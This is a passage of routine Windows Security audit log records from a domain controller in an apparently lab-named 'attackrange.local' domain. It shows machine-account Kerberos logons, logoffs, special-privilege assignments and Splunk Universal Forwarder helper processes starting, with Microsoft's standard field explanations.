The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:37:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256644
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43B01E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:37:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256643
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43AFB2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:37:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256642
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x43AFB2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65470

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:37:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256641
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43AFB2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:37:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256648
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x918
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:37:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256647
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6d4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:37:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256649
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x504
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256661
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256660
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43C1C3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256659
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43C2D1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256658
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43C31A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256657
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x43C3BF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65475

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256656
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43C3BF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256655
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x43C31A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		65474

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256654
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43C31A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256653
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x43C2D1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256652
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43C2D1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256651
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x43C1C3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65473

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:37:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256650
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43C1C3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:37:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256662
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:37:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256663
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:37:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256664
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1274
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:37:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256665
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43C3BF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:37:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256668
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43E9FB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:37:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256667
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x43E9FB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65486

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

